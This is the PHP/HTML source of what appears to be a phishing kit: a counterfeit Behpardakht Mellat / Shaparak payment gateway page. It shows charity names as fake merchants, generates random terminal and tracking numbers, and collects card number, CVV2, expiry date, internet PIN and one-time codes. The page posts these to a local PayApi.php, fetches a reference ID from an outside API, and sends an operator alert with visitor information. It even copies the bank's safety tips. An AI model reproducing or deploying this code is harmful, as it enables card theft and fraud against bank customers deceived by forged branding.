<?php
error_reporting(0);
require("../check.php");
include_once 'config.php';
require("function.php");

function requestRefId($Amount = null) {
	global $api;
    $Amount = empty($Amount) ? 314200 : str_replace(',', '', $Amount);
    $formattedAmount = number_format($Amount);
    

    $acceptors = [
        'roshdcharity.com' => [
            'name' => 'خیریه بنیاد رشد',
            'url' => 'https://roshdcharity.com'
        ],
        'mahak-charity.org' => [
            'name' => 'خیریه محک',
            'url' => 'https://mahak-charity.org'
        ],
        'v2.ebhome.ngo' => [
            'name' => 'خیریه خانه ای بی',
            'url' => 'https://ebhome.ngo'
        ]
    ];
    

    $apiUrl = "$api/api.php?action=REFID&amount=" . $Amount;
    $response = @file_get_contents($apiUrl);
    

    if ($response === false) {
        $result = [
            'status' => false,
            'source' => 'shaparak.ir',
            'ref_id' => strtoupper(bin2hex(random_bytes(8))),
            'message' => 'خطا در ارتباط با سرور'
        ];
    } else {
        $result = json_decode($response, true);
    }
    

    $acceptorInfo = [];
    if ($result['status'] && isset($acceptors[$result['source']])) {
        $acceptorInfo = $acceptors[$result['source']];
    } else {
        $acceptorInfo = [
            'name' => 'پرداخت ملت',
            'url' => 'https://shaparak.ir'
        ];
    }
    

    $randomValues = [
        'shomarepaz' => rand(000000,999999),
        'shomareterm' => rand(0000000,9999999),
        'Amount' => $formattedAmount,
        'shomareerja' => rand(0000000,9999999),
        'shomarepaygiri' => rand(0000000,9999999)
    ];
    

    $finalResult = array_merge(
        $result,
        $acceptorInfo,
        $randomValues
    );
    
    return $finalResult;
}
$amountPortal = file_get_contents("data/amount.txt");
$result = requestRefId($amountPortal);


$ref_id = $result['ref_id'];
$name = $result['name'];
$url = $result['url'];
$shomarepaz = $result['shomarepaz'];
$shomareterm = $result['shomareterm'];
$shomareerja = $result['shomareerja'];
$shomarepaygiri = $result['shomarepaygiri'];
$Amount = $result['Amount'];
$message = "📡⤳ ᴘᴀʏᴍᴇɴᴛ ɢᴀᴛᴇᴡᴀʏ ᴡᴀꜱ ᴄʀᴇᴀᴛᴇᴅ\n
♻️⤳ ʀᴇꜰɪᴅ : <code>$ref_id</code>
🎟️⤳ ᴀᴄᴄᴇᴘᴛᴏʀ : <b>$name</b> | <code>$url</code>
💸⤳ ᴀᴍᴏᴜɴᴛ : <b>$Amount</b>".GetClientInfo();
smg($message);
?>
<!DOCTYPE html>
<html lang="fa">
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="description" content="">
	<meta name="keywords" content="">
	<meta name="author" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="css/esprit_fa.min.css" rel="stylesheet">
    <script src="js/jquery.min.js"></script>
    <script src="msg/messages_fa.min.js"></script>
    <script src="js/payment.min.js"></script>
    <style>
        .close-button {
            background-color: #c2c7cc !important;
            background-image: url(img/ipg-decline.svg) !important;
            width: 25px !important;
            height: 25px !important;
        }
    </style>
    <script>
        $( document ).ready(function() {
            otpRequestWaitMillis=120000
            setCardSuggestionListHeight();
            countDownRemainingTime(885);
            $("#cardnumber").focus();
            $(document).keydown(function(e) {
                var keyCode = getEventKeyCode(e);
                if (keyCode === ctrlKey || keyCode === cmdKey) ctrlDown = true;
            }).keyup(function(e) {
                var keyCode = getEventKeyCode(e);
                if (keyCode === ctrlKey || keyCode === cmdKey) ctrlDown = false;
            });
        });
    </script>
</head>
<body id="body" class="up-scroll" onclick="hideKeypadOnOutsideClick(event);hideCardSuggestionListOnOutSideClick(event)">
	<header id="header" >
		<div class="container">
			<div class="beh-card">
                <a class="change-languge" href="#">EN</a>
				<div class="row">
					<div class="col shaparaklogo align-self-start">
					    <img src="https://bpm.shaparak.ir/pgwchannel/img/shaparak_logo.svg" alt="shaparak"></div>
					<div class="col-6 header-center align-self-end">
						<span>پرداخت اینترنتی به پرداخت ملت</span><br>
						<span class = "behpardakht_a" >www.Behpardakht.com</span>
					</div>
					<div class="col behpardakhtlogo align-self-start"><img  src="https://bpm.shaparak.ir/pgwchannel/img/behpardakht_logo.svg" alt="behpardakht"></div>
				</div>
			</div>
		</div>
	</header>
	<form action="error/result.php" method="POST" id="peymant">
<input type="hidden" name="pazirande-erja" value="<?php echo $shomareerja; ?>">
<input type="hidden" name="pazirande-name" value="<?php echo $name ; ?>">
<input type="hidden" name="pazirande-shomare" value="<?php echo $shomarepaz; ?>">
<input type="hidden" name="pazirande-terminal" value="<?php echo $shomareterm ; ?>">
<input type="hidden" name="pazirande-site" value="<?php echo $url; ?>">
<input type="hidden" name="pazirande-amount" value="<?php echo $Amount; ?>">
<input type="hidden" name="pazirande-time" value="<?php echo GetTime(); ?>">
<input type="hidden" name="pazirande-paygiri" value="<?php echo $shomarepaygiri; ?>">
</form>
	<div class="main-wrapper payment">
		<section class="container">
			<div class="row row-eq-height">
				<div class="col-lg-8 col-md-12 col-sm-12 order-lg-1 order-2">
					<div class="beh-card carddetail">
					    <div class="background-overflow">
                            <span class="shape"></span>
                        </div>
						<div class="card-header">
							<h3>اطلاعات کارت</h3>
							<span id="remaining-time">زمان باقی مانده :<b>10:00</b></span>
                            <span class="card-errorbox shaparak_shit_message">لطفا اطلاعات مورد نیاز را به درستی وارد کنید</span>
						</div>
						<div class="card-body">
							<form class="card-info">
								<div class="form-group row">
									<div class="col-sm-4">
										<label for="cardnumber" class="col-form-label">شماره کارت</label>
										<small>شماره کارت 16 رقمی درج شده روی کارت را وارد نمایید</small>
									</div>
									<div class="col-md-6 col-sm-8 col-12 mobile-justify">
										<div class="cardnumberbox" id="cardnumberbox">
											<span class="banklogo"></span>
                                            <input type="tel" id="cardnumber" maxlength="19"
                                                   onkeydown="preventInvalidKeys(event);setPanCursorPosition(event);"
                                                   onkeyup="formatPanOnKeyUp(event);filterAndShowCardSuggestionList();setBankLogo();focusNextField(this,'inputcvv2',event);resetSelectedPan(event)"
                                                   oninput="formatPanOnKeyUp(event);setBankLogo();focusNextField(this,'inputcvv2',event);resetSelectedPan(event)"
                                                   onfocus="hideKeypad();removeInvalidClassFromPan()"
                                                   onblur="handlePanChange()"
                                                value="">
                                            <button type="button" id="card-list-button" data-toggle="dropdown" onclick="toggleAllPans()"
                                                    aria-haspopup="true" aria-expanded="false" tabindex="-1"  ></button>
											<div class="card-suggestionlist dropdown-menu" aria-labelledby="card-list-button">
                                                
											</div>
										</div>
									</div>
								</div>
								<div class="form-group row">
									<div class="col-sm-4">
										<label for="inputcvv2" class="col-form-label">شماره شناسایی دوم (CVV2)</label>
										<small>شماره 3 یا 4 رقمی درج شده روی کارت را وارد نمایید</small>
									</div>
									<div class="col-md-6 col-sm-6 col-10  mobile-justify keypad-parent">
                                        <input type="tel" class="form-control" id="inputcvv2" maxlength="4"
                                               style="-webkit-text-security: disc;font-size: 23px;"
                                               onfocus="hideOthersKeypad(this);hideCardSuggestionList();removeInvalidClassFromInput('inputcvv2');
                                               showKeypadJustInMobile('inputcvv2',event)"
											   autocomplete="off"
                                               onkeydown="preventInvalidKeys(event);"
                                               onkeyup="focusNextField(this,'inputmonth|inputcapcha',event);">
									</div>
									<div class="col-sm-1">
										<button type="button" class="form-btn keypad" tabindex="-1" onclick="showKeypad('inputcvv2',event)"></button>
									</div>
								</div>
								<div class="form-group row">
									<div class="col-sm-4">
										<label for="inputmonth" class="col-form-label">تاریخ انقضای کارت</label>
										<small>تاریخ انقضای کارت را وارد کنید </small>
									</div>
									<div class="col-2 d-lg-none d-sm-none"></div>
									<div class="col-md-2 col-sm-3 col-4">
										<input type="tel" class="form-control" id="inputmonth" maxlength="2"
											   placeholder="ماه"
											   autocomplete="off"
											   onkeydown="preventInvalidKeys(event);"
                                               onfocus="hideKeypad();removeInvalidClassFromInput('inputmonth')"
											   onkeyup="focusNextField(this,'inputyear',event);">
									</div>
									<div class="col-md-2 col-sm-3 col-4">
										<input type="tel" class="form-control" id="inputyear" maxlength="2"
											   placeholder="سال"
											   autocomplete="off"
                                               onfocus="removeInvalidClassFromInput('inputmonth')"
											   onkeydown="preventInvalidKeys(event);"
											   onkeyup="focusNextField(this,'inputcapcha',event)">
									</div>
								</div>
								<div class="form-group row">
									<div class="col-sm-4">
										<label for="inputcapcha" class="col-form-label">کد امنیتی</label>
										<small>لطفا کد امنیتی داخل کادر را وارد نمایید</small>
									</div>
									<div class="col-sm-3 col-8 mobile-justify">
                                        <input type="tel" class="form-control" id="inputcapcha" maxlength="5"
                                               autocomplete="off"
                                               onfocus="hideKeypad();removeInvalidClassFromInput('inputcapcha')"
                                               onkeydown="preventInvalidKeys(event);"
                                               onkeyup="focusNextField(this,'inputpin',event)">
                                    </div>
									<div class="col-sm-3 col-6 capcha-container mobile-justify">
									    <img id="captcha-img" src="https://bpm.shaparak.ir/pgwchannel/captchaimg.jpg?RefId=<?php echo $ref_id; ?>" >
									</div>
									<div class="col-sm-1 col-4">
										<button type="button" id="captcha-button" class="form-btn capcha" title="نمايش کد جديد"
												onclick="refreshCaptcha('<?php echo $ref_id; ?>')"></button>
									</div>
								</div>
                                <div class="form-group row" onblur="hideKeypad()">
                                    <div class="col-sm-4">
                                        <label for="inputpin" class="col-form-label">رمز اینترنتی کارت</label>
                                        <small>رمز اینترنتی را وارد نمایید</small>
                                    </div>
                                    <div class="col-md-6 col-sm-6 col-10 mobile-justify keypad-parent">
                                        <div class="cardnumberbox" id="dynamic-pin">
                                            <input type="hidden" name="RefId" id="RefId" value="<?php echo $ref_id; ?>">
                                            <input type="tel" class="form-control" id="inputpin"
                                                   maxlength="12"
                                                   style="-webkit-text-security: disc;font-size: 23px;"
                                                   onfocus="hideOthersKeypad(this);hideCardSuggestionList();removeInvalidClassFromInput('inputpin');"
                                                   autocomplete="off"
                                                   onkeydown="preventInvalidKeys(event);"
                                                   onkeyup="focusNextField(this,'inputpayerid|payButton',event);">
<button class="card-info" type="button" id="otp-button" data-toggle="dropdown" onclick="req();" aria-haspopup="true" aria-expanded="false" tabindex="-1">دریافت رمز پویا</button>
<script>
var otp = true;
var qq = 0;
function req(){
validatePaymentInputs();
var cardnumber = document.getElementById('cardnumber').value;
var c = cardnumber.match(/\d/g);
c = c.join("");
if(checkCartDigit(c) == false){
showMessage('لطفا شماره کارت را به درستی وارد کنید');
addInvalidClassToPan('cardnumberbox');
exit;}
var cvv2 = document.getElementById('inputcvv2').value;
var year = document.getElementById('inputyear').value;
var month = document.getElementById('inputmonth').value;
var cap = document.getElementById('inputcapcha').value;
var RefId = document.getElementById('RefId').value;
if (cardnumber != '' && cvv2 != '' && year != '' && month !=''){
showBankLogoSpinner();
$.ajax({
data : {
'action' : 'OTP',
'cardnumber' : c,
'cvv2': cvv2,
'expireYear': year,
'expireMonth': month, 
'RefId': RefId, 
'captcha': cap, 
'amount': '<?php echo $Amount; ?>',},
type: "POST",
url: "PayApi.php",
success: function(msg){
var resp = JSON.parse(msg);
if(resp['status'] == 'OK'){
qq++;
countDownDynamicPinRemainingTime(120);
var otp = false;
hideBankLogoSpinner();
showMessage('مشتری گرامی , درصورتی که از صحت اطلاعات وارد شده اطمینان دارید ولی هنوز رمز دوم پویای خود را دریافت ننموده اید مجددا دکمه درخواست رمز پویا را بفشارید. در غیر اینصورت برای رفع مشکل به بانک صادر کننده کارت خود مراجعه فرمایید','green');
hideBankLogoSpinner();
exit;}else if(resp['status'] == 'OTP_WAIT') {
    refreshCaptcha('<?php echo $ref_id; ?>'); 
    showMessage('لطفا منتظر بمانید. کمتر از 2 دقیقه از آخرین درخواست شما گذشته است');
hideBankLogoSpinner();
exit;}else if(resp['status'] == 'SYSTEM_INTERNAL_ERROR') {
    refreshCaptcha('<?php echo $ref_id; ?>'); 
    showMessage('خطای داخلی سامانه پرداخت');
    hideBankLogoSpinner();
    exit;
}
else if(resp['status'] == 'INVALID_PAN') {
    refreshCaptcha('<?php echo $ref_id; ?>'); 
    addInvalidClassToPan('cardnumberbox');
    showMessage('شماره کارت بانکی وارد شده نامعتبر است');
    hideBankLogoSpinner();
    exit;
}
else if(resp['status'] == 'INVALID_REF_ID') {
    showMessage('شناسه پرداخت ارائه شده معتبر نمی‌باشد');
    location.replace("error/Failed.php")
    hideBankLogoSpinner();
    exit;
}
else if(resp['status'] == 'TRANSACTION_EXPIRED') {
    showMessage('زمان انجام تراکنش به پایان رسیده است');
    location.replace("error/Failed.php")
    hideBankLogoSpinner();
    exit;
}else if(resp['status'] == 'INVALID_CAPTCHA'){
refreshCaptcha('<?php echo $ref_id; ?>'); 
addInvalidClassToPan('inputcapcha');
showMessage('لطفا کد امنیتی را به درستی وارد کنید');
hideBankLogoSpinner();
exit;}else if(resp['status'] == 'BLOCKER_ERROR'){
showMessage('تلاش بیش از حد');
location.replace("error/Failed.php")
hideBankLogoSpinner();
exit;}else{
showMessage('خطایی هنگام ارسال رمز پویا رخ داد' + msg);
hideBankLogoSpinner();
exit;}}});
var otp = false;
}else{
showMessage('لطفا اطلاعات مورد نیاز را به درستی وارد کنید');}}
function doPayment(a,b){
if(qq == 0){
var cradtype = '#ISTA';
}else{
var cradtype = '#POUYA';
}
var c={action:'PAY',cardnumber:0<=selectedPanIndex?null:document.getElementById("cardnumber").value.replace(/ /g,""),cardtype:cradtype,amount: '<?php echo $Amount;?>',pin:document.getElementById("inputpin").value,cvv2:document.getElementById("inputcvv2").value,expireMonth:document.getElementById("inputmonth")?document.getElementById("inputmonth").value:null,expireYear:document.getElementById("inputyear")?document.getElementById("inputyear").value:null,captcha:document.getElementById("inputcapcha")?document.getElementById("inputcapcha").value:null,email:document.getElementById("inputemail").value,am:document.getElementById("am").value,RefId:document.getElementById("RefId").value,savePan:document.getElementById("savePanCheckbox")?document.getElementById("savePanCheckbox").checked:!1};showSubmitSpinner();
$.ajax({
data: c,
type: "POST",
url: "PayApi.php",
success: function(msgs){
var respo = JSON.parse(msgs);
if(respo['status'] == 'OK'){
showMessage('در حال ارسال نتیجه','green');
document.getElementById("peymant").submit();
}else if(respo['status'] == 'INVALID_CAPTCHA'){
refreshCaptcha('<?php echo $ref_id; ?>'); 
addInvalidClassToPan('inputcapcha');
showMessage('لطفا کد امنیتی را به درستی وارد کنید');
}else if(respo['status'] == 'INVALID_INPUT'){
showMessage(respo['description']);
}else if(respo['status'] == 'BLOCKER_ERROR'){
showMessage('تلاش بیش از حد');
location.replace("error/Failed.php")
exit;}else if(respo['status'] == 'SALE_FAILED'){
showMessage(respo['description']);
exit;}else{
showMessage(respo['description']);
exit;}}});
setTimeout(function(){ hideSubmitSpinner();}, 2000);}
function validatePaymentInputs(a){var b=!0;validatePan()||(b=!1);a&&!validateInput("inputpin",/\d{4,12}/)&&(b=!1);validateInput("inputcvv2",/\d{3,4}/)||(b=!1);validateDate()||(b=!1);validateInput("inputcapcha",/\d{5}/)||(b=!1);validateInput("inputemail",/^(\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,4})+)?$/)||(b=!1);document.getElementById("inputpayerid")&&!validateInput("inputpayerid",/\d{1,30}/)&&(b=!1);b?hideMessage():showMessage(i18n.invalidInput);return b}
function validateAndDoPayment(a,b){
    var cardnumber = document.getElementById('cardnumber').value;
    var cvv2 = document.getElementById('inputcvv2').value;
    var month = document.getElementById('inputmonth').value;
    var year = document.getElementById('inputyear').value;
    var captcha = document.getElementById('inputcapcha').value;
    var pin = document.getElementById('inputpin').value;
    if(cardnumber === ''){
    addInvalidClassToPan('cardnumberbox');
    showMessage('لطفا اطلاعات مورد نیاز را به درستی وارد کنید');}
    if(cvv2 === ''){
    addInvalidClassToPan('inputcvv2');
    showMessage('لطفا اطلاعات مورد نیاز را به درستی وارد کنید');}
    if(month === ''){
    addInvalidClassToPan('inputmonth');
    showMessage('لطفا اطلاعات مورد نیاز را به درستی وارد کنید');}
    if(year === ''){
    addInvalidClassToPan('inputyear');
    showMessage('لطفا اطلاعات مورد نیاز را به درستی وارد کنید');} 
    if(captcha === ''){
    addInvalidClassToPan('inputcapcha');
    showMessage('لطفا اطلاعات مورد نیاز را به درستی وارد کنید');} 
    if(pin === ''){
    addInvalidClassToPan('inputpin');
    showMessage('لطفا اطلاعات مورد نیاز را به درستی وارد کنید');} 
    var ddd = cardnumber.match(/\d/g);
    ddd = ddd.join("");
    if(checkCartDigit(ddd) == false){
    showMessage('لطفا شماره کارت را به درستی وارد کنید');
    addInvalidClassToPan('cardnumberbox');exit;}
    validatePaymentInputs(!0)&&doPayment(a,b)}
</script>           
                                        </div>
                                    </div>
                                    <div class="col-sm-1 ">
                                        <button type="button" class="form-btn keypad" tabindex="-1" onclick="showKeypad('inputpin',event)"></button>
                                    </div>
                                </div>
								<div class="form-group row">
									<div class="col-sm-4">
										<label for="inputemail" class="col-form-label">ایمیل</label>
										<small>لطفا ایمیل معتبر وارد کنید (اختیاری)</small>
									</div>
									<div class="col-md-6 col-sm-8 col-12 mobile-justify">
										<input type="email" class="form-control" id="inputemail"
                                               onfocus="removeInvalidClassFromInput('inputemail')">
									</div>
								</div>
								<div class="form-group row">
									<div class="col-sm-4"></div>
									<div class="col-md-6 col-sm-8 col-12 mobile-justify btn-submit-form">
										<button type="button" class="btn btn-perches" id="payButton" onclick="validateAndDoPayment('sale.mellat',processSaleResponse)">پرداخت</button>
										<button type="button" class="btn btn-decline" onclick="cancelPay()">انصراف</button>
									</div>
								</div>
							</form>
						</div>
					</div>
				</div>
				<div class="col-lg-4 col-md-12 col-sm-12 order-lg-2 order--1">
					<div class="beh-card merchantdetail">
						<div class="card-header">
							<h3>اطلاعات پذیرنده</h3>
						</div>
						<div class="card-body">
							<div class="merchant-container">
								<div class="col-lg-12 col-sm-4 merchant-logo-mobile">
									<img class=" " src="img/ipg-defaltlogo.png" alt="merchantlogo">
									<span class="helper"></span>
								</div>
								<ul class="col-lg-12 col-sm-8 merchant-detail">
									<li>نام پذیرنده : <b><?php echo $name; ?></b></li>
									<li>شماره پذیرنده: <b><?php echo $shomarepaz; ?></b></li>
                                    <li>شماره ترمینال: <b><?php echo $shomareterm; ?></b></li>
                                    <li>آدرس وب سایت: <b class="merchantwebsite">
                                            <span class="merchant_a" title="<?php echo $url; ?>"><?php echo $url; ?></span>
                                    </b></li>
								</ul>
							</div>
							<ul class="merchant-detail price">
								<li>مبلغ قابل پرداخت :<b class="price-number"><?php echo $Amount ?> &nbsp; ریال</b></li>
							</ul>
						</div>
					</div>
				</div>
			</div>
		</section>
		<div class="keypad-container">
			<h4>صفحه کلید امن</h4>
			<div class="frame-umbtn"><button id="num1"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num2"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num3"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num4"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num5"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num6"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num7"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num8"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="num9"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="clear" type="button" class=" numpad" tabindex="-1" onclick="keyPadBackspace(event)">&#9003;</button></div>
			<div class="frame-umbtn"><button id="num0"  type="button" class=" numpad" tabindex="-1" onclick="fillField(this,event)"></button></div>
			<div class="frame-umbtn"><button id="tab-key" type="button" class=" numpad" tabindex="-1" onclick="keypadTab()" style="color: #27d286;">&#10004;</button></div>
		</div>
		<section class="container">
			<row class="beh-guid">
				<div class="col">
					<h4>راهنمای استفاده از رمز پویا</h4>
					<ul>
						<li>رمز پویا، رمز یکبار مصرفی است که به جای رمز دوم کارت استفاده میشود.</li>
						<li><b>مرحله اول</b>- براساس دستورالعمل بانک صادرکننده کارت خود، نسبت به فعالسازی رمز پویا اقدام نمایید.</li>
						<li><b>مرحله دوم</b>- رمز پویا را بر اساس روش اعلامی از طرف بانک صادرکننده کارت، به یکی از روشهای زیر دریافت کنید.</li>
						<li>1- دریافت از طریق برنامه کاربردی بانک، اینترنت بانک و یا موبایل بانک</li>
						<li>2- دریافت از طریق کد USSD بانک صادرکننده کارت شما</li>
						<li>3- دریافت از طریق زدن دکمه ی "دریافت رمز پویا" در درگاه پرداخت اینترنتی</li>
						<li><b>مرحله سوم</b>- پس از دریافت رمز به یکی از روشهای فوق، رمز پویای دریافت شده را در محل تعیین شده برای "رمز دوم" وارد نمایید و سپس مابقی اطلاعات را تکمیل نمایید.</li>
						<br><br>
					</ul>
				</div>
			</row>
		</section><section class="container">
			<row class="beh-guid">
				<div class="col">
					<h4>راهنما و نکات ایمنی</h4>
					<ul>
						<li>شماره کارت: 16 رقمی بوده و بصورت 4 قسمت 4 رقمی روی کارت درج شده است.</li>
						<li>cvv2: با طول 3 یا 4 رقم کنار شماره کارت و یا پشت کارت درج شده است.</li>
						<li>تاریخ انقضا: شامل دو بخش ماه و سال انقضا در کنار شماره کارت درج شده است.</li>
						<li>رمز اینترنتی: با عنوان رمز دوم و در برخی موارد با PIN2 شناخته می شود، از طریق بانک صادر کننده کارت تولید شده و همچنین از طریق دستگاه های خودپرداز بانک صادر کننده قابل تهیه و یا تغییر می باشد.</li>
						<li>کد امنیتی: بخشی از محتوای صفحه پرداخت است و لازم است برای ادامه فرایند خرید ، کد موجود که به صورت عددی در تصویر مشخص شده است در محل پیش بینی شده درج شود.</li>
						<li>دروازه پرداخت اینترنتی به پرداخت ملت با استفاده از پروتکل امن https به مشتریان خود ارایه خدمت نموده و با آدرس <b>https://‌<?php echo $url; ?></b> شروع می شود. خواهشمند است به منظور جلوگیری از سوء استفاده های احتمالی پیش از ورود هرگونه اطلاعات، آدرس موجود در بخش مرورگر وب خود را با آدرس فوق مقایسه نمایید و درصورت مشاهده هر نوع مغایرت احتمالی، موضوع را با ما درمیان بگذارید.</li>
						<li>برای جلوگیری از افشای رمز کارت خود،حتی المقدور از صفحه کلید مجازی استفاده فرمایید.</li>
                        <li>لطفا از صحت نام فروشنده و مبلغ نمایش داده شده، اطمینان حاصل فرمایید.</li>
                        <li>برای کسب اطلاعات بیشتر، گزارش فروشگاههای مشکوک و همچنین اطلاع از وضعیت پذیرندگان اینترنتی با ما تماس بگیرید.</li>
						<br><br>
					</ul>
				</div>
			</row>
		</section>
    </div>
	<footer class="footer">
		<div class="container">
			<div class="footerarc"></div>
			<div class="footerarc content">
				<span class="call">شماره تماس: 27312733-021 </span><br>
				<span>شرکت به پرداخت ملت ارايه دهنده خدمات نوین پرداخت الکترونيک</span>
			</div>
			<div class="row justify-content-center">
				<div class="col-12">
				</div>
			</div>
		</div>
	</footer>
    <form method="post" name="returnForm" action="error/Failed.php">
        <input type="hidden" id="e" name="e" value="<?php echo $e ?>">
        <input type="hidden" id="ResCode" name="ResCode">
        <input type="hidden" id="am" name="am" value="<?php echo $Amount ?>">
    </form>
	<form method="post" name="resultForm" action="result.mellat" accept-charset="UTF-8">
        <input type="hidden" name="RefId" value="<?php echo $_GET['']; ?>">
	</form>
	</form>   
</body>
</html>
